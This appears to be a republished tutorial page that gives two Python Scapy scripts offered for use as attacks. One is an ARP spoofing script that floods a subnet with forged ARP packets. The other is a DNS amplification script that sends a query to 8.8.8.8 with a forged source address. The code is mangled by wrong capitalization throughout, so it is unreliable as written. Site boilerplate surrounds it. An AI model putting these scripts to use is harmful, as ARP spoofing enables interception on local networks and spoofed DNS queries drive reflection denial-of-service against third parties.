Examples of ARP attacks, DNS amplification attacks using scapy analog packets in Python

Source: Internet
Author: User
Scapy is a powerful, interactive packet handler written by Python that can be used to send, sniff, parse, and spoof network packets, often used in cyber attacks and tests.

This is done directly with Python's scapy.

Here is the ARP attack mode, you can make ARP attack.

Copy the Code code as follows:


#!/usr/bin/python
"""
ARP attack
"""
Import sys, OS
From Scapy.all Import *
If Os.geteuid ()! = 0:
Print "This program must is run as root. Aborting. "
Sys.exit ()

If Len (SYS.ARGV) < 2:
Print "Pkease use%s x.x.x"% (Sys.argv[0])
Exit ()
Attackip = sys.argv[1] + ". 0/24"
Srploop (Ether (dst= "FF:FF:FF:FF:FF:FF")/arp (Pdst=attackip, psrc= "192.168.1.100", hwsrc= "00:66:66:66:66:66"), timeout=2)

DNS Amplification attack

Copy the Code code as follows:


#coding: Utf-8
From scapy Import *
From Scapy.all Import *

A = IP (dst= ' 8.8.8.8 ', src= ' 192.168.1.200 ') #192.168.1.200 for forged source IP
b = UDP (dport=53)
c = DNS (id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
C.QD=DNSQR (qname= ' www.qq.com ', Qtype=1,qclass=1)
p = a/b/c
Send (P)
~

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.